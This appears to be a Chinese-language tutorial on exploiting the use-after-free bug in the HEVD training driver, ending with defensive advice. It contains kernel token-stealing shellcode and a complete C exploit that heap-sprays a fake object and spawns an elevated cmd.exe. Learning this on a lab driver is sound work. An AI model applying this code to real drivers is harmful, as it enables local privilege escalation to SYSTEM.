HEVD系列Windows内核漏洞学习笔记0
字数 1458 2025-08-24 10:10:13

Windows内核漏洞利用教学:HEVD UAF漏洞分析与利用

0x00 前置知识

UAF (Use After Free) 漏洞概念

UAF即"释放后使用",是指内存块被释放后仍被程序使用的情况。在Windows内核中,这种漏洞可能导致严重后果:

  • 内存释放后的三种情况

    1. 指针被置0后使用 → 崩溃
    2. 指针未被置0且内存未被修改 → 可能正常运行
    3. 指针未被置0且内存被修改 → 不可预测行为
  • Windows内存管理机制

    • ExAllocatePoolWithTag函数申请的内存会被操作系统分配到大小最合适的堆
    • 被free的指针成为"悬挂指针",仍指向有效内存地址

漏洞结构体分析

通过逆向分析,发现驱动中存在以下关键结构体:

typedef struct _VulnerablePointer {
    FunctionPointer Callback;  // 回调函数指针
    CHAR Buffer[0x54];        // 缓冲区
} VulnerablePointer, *PVulnerablePointer;

0x01 漏洞利用链

完整的利用流程如下:

  1. 漏洞指针被分配内存且被释放后未进行其他操作
  2. 准备提权shellcode
  3. 构造fake chunk payload模仿漏洞指针结构
  4. 大量申请空间覆盖漏洞指针的Callback函数(堆喷射技术)
  5. 当Callback函数被调用时,实现Ring3提权

0x02 关键API分析

驱动IOCTL控制码

通过逆向分析驱动文件,识别出以下关键控制码:

IOCTL码 功能描述
0x222013 申请内存(AllocateUaFObject)
0x22201B 释放内存(FreeUaFObject)
0x22201F 申请假chunk
0x222017 调用Callback函数

提权验证函数

static VOID CreateCmd() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, 
                                 CREATE_NEW_CONSOLE, NULL, NULL, 
                                 (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) 
        CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

提权Shellcode

void ShellCode() {
    _asm {
        nop
        pushad
        mov eax, fs:[124h]    // 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50] // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4            // SYSTEM进程PID(4)
        
        // 循环查找SYSTEM进程的_EPROCESS
    find_sys_pid:
        mov eax, [eax + 0xb8] // 进程活动链表
        sub eax, 0xb8         // 链表遍历
        cmp [eax + 0xb4], edx // 比较PID
        jnz find_sys_pid
        
        // 替换Token实现提权
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}

0x03 调试与分析

关键断点设置

在Windbg中需要设置以下断点(假设驱动有符号表):

  • HEVD!AllocateUaFObjectNonPagedPool
  • HEVD!FreeUaFObjectNonPagedPool
  • HEVD!UseUaFObjectNonPagedPool

调试过程

  1. 内存分配阶段

    • 观察分配的pool chunk大小为0x60(结构体大小+8字节pool header)
    • 状态显示为"Allocated"
  2. 内存释放阶段

    • 观察pool chunk状态变为"Free"
    • 漏洞指针的Callback函数指向随机地址
  3. 堆喷射后

    • 观察漏洞指针的pool chunk被重新占用
    • Callback函数被覆盖为我们的shellcode地址

0x04 完整利用代码

#include <stdio.h>
#include <Windows.h>

typedef void(*FunctionPointer)();

typedef struct _FAKE_USE_AFTER_FREE {
    FunctionPointer countinter;
    char bufffer[0x54];
} FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

void ShellCode() {
    // 同上文shellcode
}

static VOID CreateCmd() {
    // 同上文创建cmd函数
}

int main() {
    DWORD recvBuf;
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                                GENERIC_READ | GENERIC_WRITE,
                                NULL, NULL, OPEN_EXISTING, NULL, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
        printf("获取句柄失败\n");
        return 0;
    }

    // 1. 分配漏洞对象
    DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
    
    // 2. 释放漏洞对象
    DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
    
    // 3. 准备fake chunk
    PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
    fakeG_UseAfterFree->countinter = ShellCode;
    RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
    
    // 4. 堆喷射
    for (int i = 0; i < 5000; i++) {
        DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
    }
    
    // 5. 触发回调
    DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
    
    // 6. 验证提权
    CreateCmd();
    
    return 0;
}

0x05 关键知识点总结

  1. UAF漏洞本质:释放后使用的指针仍保持有效,可能被恶意利用

  2. 利用关键点

    • 精确控制内存分配和释放时机
    • 构造正确的fake chunk结构
    • 通过堆喷射覆盖目标内存区域
  3. 提权原理

    • 通过修改进程Token实现权限提升
    • 利用Windows内核进程结构体中的PID和Token字段
  4. 调试技巧

    • 使用Windbg观察pool chunk状态变化
    • 设置关键函数断点跟踪执行流程
    • 验证内存布局是否按预期被覆盖

0x06 防御建议

  1. 开发层面

    • 释放指针后立即置NULL
    • 使用安全的内存管理函数
    • 实现引用计数机制
  2. 系统层面

    • 启用池内存保护机制
    • 使用安全特性如KASLR、SMEP等
    • 定期更新内核和驱动程序
  3. 检测层面

    • 监控异常的内存分配模式
    • 检测可疑的内核回调函数调用
Windows内核漏洞利用教学:HEVD UAF漏洞分析与利用 0x00 前置知识 UAF (Use After Free) 漏洞概念 UAF即"释放后使用",是指内存块被释放后仍被程序使用的情况。在Windows内核中,这种漏洞可能导致严重后果: 内存释放后的三种情况 : 指针被置0后使用 → 崩溃 指针未被置0且内存未被修改 → 可能正常运行 指针未被置0且内存被修改 → 不可预测行为 Windows内存管理机制 : ExAllocatePoolWithTag 函数申请的内存会被操作系统分配到大小最合适的堆 被free的指针成为"悬挂指针",仍指向有效内存地址 漏洞结构体分析 通过逆向分析,发现驱动中存在以下关键结构体: 0x01 漏洞利用链 完整的利用流程如下: 漏洞指针被分配内存且被释放后未进行其他操作 准备提权shellcode 构造fake chunk payload模仿漏洞指针结构 大量申请空间覆盖漏洞指针的Callback函数(堆喷射技术) 当Callback函数被调用时,实现Ring3提权 0x02 关键API分析 驱动IOCTL控制码 通过逆向分析驱动文件,识别出以下关键控制码: | IOCTL码 | 功能描述 | |-----------|----------------------------| | 0x222013 | 申请内存(AllocateUaFObject) | | 0x22201B | 释放内存(FreeUaFObject) | | 0x22201F | 申请假chunk | | 0x222017 | 调用Callback函数 | 提权验证函数 提权Shellcode 0x03 调试与分析 关键断点设置 在Windbg中需要设置以下断点(假设驱动有符号表): HEVD!AllocateUaFObjectNonPagedPool HEVD!FreeUaFObjectNonPagedPool HEVD!UseUaFObjectNonPagedPool 调试过程 内存分配阶段 : 观察分配的pool chunk大小为0x60(结构体大小+8字节pool header) 状态显示为"Allocated" 内存释放阶段 : 观察pool chunk状态变为"Free" 漏洞指针的Callback函数指向随机地址 堆喷射后 : 观察漏洞指针的pool chunk被重新占用 Callback函数被覆盖为我们的shellcode地址 0x04 完整利用代码 0x05 关键知识点总结 UAF漏洞本质 :释放后使用的指针仍保持有效,可能被恶意利用 利用关键点 : 精确控制内存分配和释放时机 构造正确的fake chunk结构 通过堆喷射覆盖目标内存区域 提权原理 : 通过修改进程Token实现权限提升 利用Windows内核进程结构体中的PID和Token字段 调试技巧 : 使用Windbg观察pool chunk状态变化 设置关键函数断点跟踪执行流程 验证内存布局是否按预期被覆盖 0x06 防御建议 开发层面 : 释放指针后立即置NULL 使用安全的内存管理函数 实现引用计数机制 系统层面 : 启用池内存保护机制 使用安全特性如KASLR、SMEP等 定期更新内核和驱动程序 检测层面 : 监控异常的内存分配模式 检测可疑的内核回调函数调用